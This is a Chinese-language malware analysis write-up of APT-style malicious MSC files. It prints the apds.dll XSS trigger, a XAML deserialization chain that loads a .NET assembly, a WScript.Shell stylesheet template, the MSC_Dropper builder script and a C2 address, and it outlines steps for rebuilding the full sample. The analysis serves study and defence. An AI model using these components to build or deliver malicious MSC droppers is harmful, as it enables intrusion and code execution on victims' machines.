关于对近期MSC恶意样本的一些细节问题研究记录

前言

近期不少APT和灰黑产都在使用一种msc格式的样本,原理是利用了mmc系统文件中的XSS漏洞执行js代码,并通过DotNetToJScript的方式内存加载任意.net程序。虽然网上有一些样本的分析文章,但是看了之后感觉还是有一些疑问(可能是我太菜)。这篇文章主要是对自己在分析APT的msc样本时对一些细节进行解惑的记录。

0x00 一些疑问

根据最初的样本分析原文:

https://www.elastic.co/security-labs/grimresource

我们可以知道msc样本执行后,会利用一个dll的xss漏洞导致嵌入在msc文件中的js代码执行,进而执行xml中的VBA代码,然后向环境变量写payload、内存加载.NET程序集(Loader),Loader会从环境变量中提取payload注入dllhost进程外联C2。但是看了之后,我仍然有一些疑问:

1 msc样本中的这段js代码是如何被触发执行的?我们知道恶意MSC文件的StringTable部分包含对易受攻击的APDS资源的引用:

res://apds.dll/redirect.html?target=javascript:eval(external.Document.ScopeNamespace.GetRoot().Name)

因此当受害者打开它时,MMC会对其进行处理并其进程上下文中触发js执行。那么为什么external.Document.ScopeNamespace.GetRoot().Name能关联到上面这段js代码?

关于对近期MSC恶意样本的一些细节问题研究记录

2 xsl.loadXML(unescape("经过编码的XML数据")),XML中的VBA代码是怎么被执行的?为什么可以绕过ActiveX控件告警?

3 .NET程序集(PASTALOADER)是怎么被加载执行的?怎么把程序集提取出来的?

4 从样本执行的行为日志中可以看出有启动dllhost并注入shellcode的行为,最终由dllhost进程进行外联,那么是如何把shellcode注入的dllhost.exe?

可能对于最初分析这个样本的大佬来说,看破这些问题就像呼吸一样简单,但对于我来说Be Like:

关于对近期MSC恶意样本的一些细节问题研究记录

那么下面我们来一个一个看。

0x01 JS代码的关联

关于对近期MSC恶意样本的一些细节问题研究记录

我的疑问是,样本构造的这个链接,只是能导致eval(JS代码)的执行,但是并不能保证eval()里面的内容关联到上面的JS代码,是怎么关联上的?起初我查阅了ScopeNamespace.GetRoot()的微软文档,但是里面并没有Name这个成员的信息,JS代码所在的标签中也完全没有提到Name这个东西。

于是我想,会不会是跟JS代码所在的标签有关系?但是msc文件中有很多Name,其ID也有很多,又是怎么关联到String ID="8"上面的?

继续往上看,看到这一块:

关于对近期MSC恶意样本的一些细节问题研究记录

所以rootNode即为Node ID为1的节点,再继续往下看,找到Node ID为1的节点内容:

<Node ID="1" ImageIdx="0" CLSID="{C96401CC-0E17-11D3-885B-00C04F72C717}" Preload="true">       <Nodes>         <Node ID="13" ImageIdx="0" CLSID="{C96401D1-0E17-11D3-885B-00C04F72C717}" Preload="true">           <Nodes/>           <String Name="Name" ID="38"/>           <ComponentDatas>             <ComponentData>               <GUID Name="Snapin">{C96401D1-0E17-11D3-885B-00C04F72C717}</GUID>               <Stream BinaryRefIndex="0"/>             </ComponentData>           </ComponentDatas>           <Components/>         </Node>         <Node ID="9" ImageIdx="0" CLSID="{C96401CF-0E17-11D3-885B-00C04F72C717}" Preload="true">           <Nodes/>           <String Name="Name" ID="23"/>           <ComponentDatas>             <ComponentData>               <GUID Name="Snapin">{C96401CF-0E17-11D3-885B-00C04F72C717}</GUID>       <Stream BinaryRefIndex="1"/>             </ComponentData>           </ComponentDatas>           <Components>             <Component ViewID="1">               <GUID Name="Snapin">{C96401CF-0E17-11D3-885B-00C04F72C717}</GUID>             </Component>           </Components>         </Node>       </Nodes>       <String Name="Name" ID="8"/>       <ComponentDatas>         <ComponentData>           <GUID Name="Snapin">{C96401CC-0E17-11D3-885B-00C04F72C717}</GUID>         </ComponentData>       </ComponentDatas>       <Components/>     </Node>

我们只看根节点,发现String Name="Name" 对应的ID="8"(像<String Name="Name" ID="38"/>都是子节点,不用看),而JS代码所在的标签,就是String ID="8",是这样关联上的!所以ScopeNamespace.GetRoot().Name获取的就是String ID="8"标签的内容,也就是JS代码!这个问题解决!!

0x02 VBA代码的执行

样本中导致VBA代码执行的点应该是这里:

XML.transformNode(xsl)

关于对近期MSC恶意样本的一些细节问题研究记录

首先需要了解一下XSLT和transformNode方法的原理。XSLT是一种用于将XML文档转换为其他文档格式的语言。XSLT样式表(XSL)定义了如何将一个XML文档转换为其他形式。

transformNode是Microsoft的XML DOM实现中的一种方法,用于将一个XML文档应用于一个XSL样式表(传入的参数),并生成转换后的结果。

但是样本中,XM和xsl实际上是同一个对象,调用transformNode实际上是在将一个XML文档转化为自身,实际没有什么意义,那为什么这么做?

通过查阅一些资料,得知:如果XSLT样式表中包含 <ms:script> 或 <xsl:script> 等元素,这些元素中的脚本会在转换过程中被执行。这些脚本可以是JavaScript或VBA等其他脚本语言,具体取决于样式表的内容。

我们将xsl解密一下,发现其中有 <ms:script> 标签,原来里面的VBA代码是这样被执行的。

关于对近期MSC恶意样本的一些细节问题研究记录

样本中的代码是通过以下方式绕过了ActiveX控件警告:

scopeNamespace和ControlObject是通过external.Document获取的现有对象,而不是直接创建新的ActiveX对象,这就避免了直接创建ActiveX控件时的安全检查;

transformNode是一种正常且合法的文档转换方法,一般不会被视为可疑操作触发警告;

将XML.async 设置为 false,确保XML操作是同步进行的,也会绕过一些异步操作的安全检查。

0x03 .NET程序集的执行

将VBA代码里面的字符串解密一下,内容大致如下:

关于对近期MSC恶意样本的一些细节问题研究记录

可以看出脚本先是将一大段加密过的数据设置成Process环境变量,再将另一段加密过的数据进行解密和反序列化。这里能比较容易的看出是用了DotNetToJs技术,根据以往分析这种样本的经验,一般来说将反序列化的内容还原成程序集就可以了。根据代码中的这些加密函数,写一个解密paylaod的函数如下:

关于对近期MSC恶意样本的一些细节问题研究记录

然后再将解密出的字节数组还原成文件,得到了如下内容:

关于对近期MSC恶意样本的一些细节问题研究记录

原本得出来的文件是带有很多乱码的,这里已经去除了乱码,只留下了可读部分。很遗憾,这不是一个程序集,而是序列化的XAML数据,还需要进一步的处理。从这些可读的数据中可以看出,里面实现了以下功能:

将Base64编码的字符串转换为字节数组,并存储在资源字典中:

<b:Array a:Key="zPVvjPb" a:FactoryMethod="b:Convert.FromBase64String"><a:Arguments><b:String>这里是一大段base64数据</b:String></a:Arguments></b:Array>

字节数组转内存流:

<d:MemoryStream a:Key="cGCqIxc"><a:Arguments><StaticResource ResourceKey="zPVvjPb"/></a:Arguments></d:MemoryStream>

内存流转解压流:

<e:DeflateStream a:Key="GnITX"><a:Arguments><StaticResource ResourceKey="cGCqIxc"/><e:CompressionMode>0</e:CompressionMode> <!-- CompressionMode.Decompress --></a:Arguments></e:DeflateStream>

解压流读取到字节数组:

<b:Array a:Key="AQRSMs" a:FactoryMethod="b:Array.CreateInstance"><a:Arguments><a:Type TypeName="b:Byte"/><a:Int32>59392</a:Int32></a:Arguments></b:Array><ObjectDataProvider a:Key="MmPAZw" ObjectInstance="{StaticResource GnITX}" MethodName="Read"><ObjectDataProvider.MethodParameters><StaticResource ResourceKey="AQRSMs"/><a:Int32>0</a:Int32><a:Int32>59392</a:Int32></ObjectDataProvider.MethodParameters></ObjectDataProvider>

使用反射从字节数组加载程序集:

<ObjectDataProvider a:Key="BzpQe" ObjectType="{a:Type c:Assembly}" MethodName="Load"><ObjectDataProvider.MethodParameters><StaticResource ResourceKey="AQRSMs"/></ObjectDataProvider.MethodParameters></ObjectDataProvider>

从加载的程序集创建Ad00bce9305554c87927205710b17699f类的实例:

<ObjectDataProvider a:Key="DLHwEWg" ObjectInstance="{StaticResource BzpQe}" MethodName="CreateInstance"><ObjectDataProvider.MethodParameters><b:String>Ad00bce9305554c87927205710b17699f</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider>

那么问题来了,为什么Deserialize这些数据,就能导致上面这些行为的自动执行?

那么就需要了解一下XAML的反序列化机制了。XAML(eXtensible Application Markup Language)是一种用于定义和初始化对象图的声明性语言,通常用于WPF(Windows Presentation Foundation)应用程序来描述用户界面。ObjectDataProvider是其中一个关键组件,它允许XAML在反序列化过程中调用方法并返回结果,具有以下属性:

ObjectType属性:指定要创建实例的类型。ObjectInstance属性:指定现有对象实例。MethodName属性:指定要调用的方法名。MethodParameters属性:指定方法的参数。

XAML数据在反序列化过程中,ObjectDataProvider会根据这些属性自动调用相应的方法并处理结果。例如:

<ObjectDataProvider a:Key="BzpQe" ObjectType="{a:Type c:Assembly}" MethodName="Load"><ObjectDataProvider.MethodParameters><StaticResource ResourceKey="AQRSMs"/></ObjectDataProvider.MethodParameters></ObjectDataProvider>

上面的XAML指令告诉XAML引擎:查找System.Reflection.Assembly类型,调用其Load方法,使用资源键为AQRSMs的字节数组作为参数。

也就是说,ObjectDataProvider 配置了一系列方法调用,其中包含了加载程序集、读取数据、创建实例等操作。当ObjectDataProvider被反序列化时,它会自动执行MethodName所指定的有效方法,传入MethodParameters指定的参数,导致相关操作的执行。而这个序列化数据在资源对象之间设置了依赖关系,例如一个资源作为另一个资源的参数,从而形成了数据流转换的过程,所以最开始的base64解密等转换逻辑也会被执行。

现在我们知道了XAML里面的base64是如何被处理的,实现相同的处理方式,将获取到的字节数组还原成文件,就能得到最终的.NET DLL了!处理代码如下:

关于对近期MSC恶意样本的一些细节问题研究记录


0x04 PASTALOADER主要行为

将上一步提取出来的的DLL使用工具转化成VS项目进行分析。

通过XAML数据的内容,我们知道Ad00bce9305554c87927205710b17699f这个类被实例化了,所以会默认执行它的构造函数Ad00bce9305554c87927205710b17699f(),所以初始的恶意逻辑应该在这里:

关于对近期MSC恶意样本的一些细节问题研究记录

跟进去:

关于对近期MSC恶意样本的一些细节问题研究记录

接着跟,找到qlaurwsrpo的实现:

关于对近期MSC恶意样本的一些细节问题研究记录

这一行代码:

byte[] array = this.eqzrfjzhux(Y.B);

貌似是将一个字符串解密成了字节数组,我们看看Y.B是个啥,全局搜一下,发现了如下逻辑:

关于对近期MSC恶意样本的一些细节问题研究记录

跟VBA代码中的逻辑对得上了,这里从Process环境变量中提取出了之前设置的payload,赋给了Y.B。所以是在对paylaod解密,往里跟一下就找到了环境变量中的paylaod解密逻辑:

关于对近期MSC恶意样本的一些细节问题研究记录

根据解密逻辑,解密一下VBA里面那块payload,可以得到一个DLL,明显是CS的反射加载DLL:

关于对近期MSC恶意样本的一些细节问题研究记录

这个DLL没啥好分析的,看起来没做过什么魔改,网上分析文章很多,写个Loader简单调一下C2:18.197.149.139

关于对近期MSC恶意样本的一些细节问题研究记录

接着回到.NET Loader项目,看看是怎么注入的。

虽然项目里面的字符串和方法都是被混淆和加密过的,但是可以根据字符串加密方法写出相应的解密方法,通过对这块逻辑中调用的这些函数里面的加密字符串进行解密,可以得出一些关键信息。

关于对近期MSC恶意样本的一些细节问题研究记录

关于对近期MSC恶意样本的一些细节问题研究记录

关于对近期MSC恶意样本的一些细节问题研究记录

关于对近期MSC恶意样本的一些细节问题研究记录

根据上面的信息,可以得出这一块大致的逻辑如下,是通过插入APC的方式对dllhost.exe进行进程注入:

关于对近期MSC恶意样本的一些细节问题研究记录

根据网上的分析文章,这个Loader里面还用到了DirtyCLR技术,不细嗦了(其实是懒的分析了),网上都有文章,可以自行研究。

到此,我的疑惑基本都解开了,呜呜呜真不容易,菜鸟流泪 (;д;)

0x05样本复现

目前github上有一个项目MSC_Dropper,可以构造msc样本。构造代码如下:

import sysfrom urllib.parse import quotedef encode_url(input_filename, output_filename, replacement):try:with open(input_filename, 'r') as input_file:content = input_file.read()# Applying URL encoding to the replacement textencoded_replacement = quote(replacement)# Replace the placeholderupdated_content = content.replace('<REPLACE HERE>', encoded_replacement)# Writing to the output filewith open(output_filename, 'w') as output_file:output_file.write(updated_content)print(f'Successfully replaced placeholder in {input_filename} and saved to {output_filename}.')except FileNotFoundError:print(f'File {input_filename} not found.')except Exception as e:print(f'An error occurred: {str(e)}')# Main programif __name__ == '__main__':if len(sys.argv) != 4:print('Usage: python msc_dropper.py <input_filename> <output_filename> <replacement>')sys.exit(1)input_filename = sys.argv[1]output_filename = sys.argv[2]replacement = sys.argv[3]# Applying URL encoding to the replacement text and writing to the output fileencode_url(input_filename, output_filename, replacement)

原理就是将设置的命令写入到项目中提供的msc模板替换的地方,使得启动msc文件时由mmc进程执行设置的命令,可以实现文件的下载、执行等等。这个msc模板其实就是初始的APT样本。

关于对近期MSC恶意样本的一些细节问题研究记录

这段数据解码如下,可以看出是使用WScript.Shell执行了我们设置的命令:

<?xml version='1.0'?><stylesheetxmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"xmlns:user="placeholder"version="1.0"><output method="text"/><ms:script implements-prefix="user" language="VBScript"><![CDATA[Set wshshell = CreateObject("WScript.Shell")Wshshell.run "<REPLACE HERE>"]]></ms:script></stylesheet>

但是这个脚本貌似无法构造出类似于初始样本的效果,如果要完全模仿APT的样本,可能需要:

1 实现.NET Loader(并把它加密),恶意逻辑初始入口可以是某个类的构造函数。

2 准备XAML序列化数据,需要能够实现解密.NET Loader数据并实例化Loader中恶意逻辑初始入口所在的类。

3 然后将加密的序列化数据嵌入在VBA代码中并进行解密、反序列化,再把VBA代码转换为能被以xsl.loadXML(unescape(…)) 加载的格式。

4 如果也要配合CS的DLL,还需要将DLL进行加密写入环境变量,在.NET Loader中从环境变量中检索取出,对DLL数据进行解密并将其注入其他程序运行。

(以上步骤为个人推测,如有错误欢迎指正。如果后面有时间复现maybe会再写O.o)。


     来啊,一起当保安↓

原文始发于微信公众号(红蓝攻防研究实验室):关于对近期MSC恶意样本的一些细节问题研究记录

版权声明:admin 发表于 2024年7月21日 下午12:12。
转载请注明:关于对近期MSC恶意样本的一些细节问题研究记录 | CTF导航

相关文章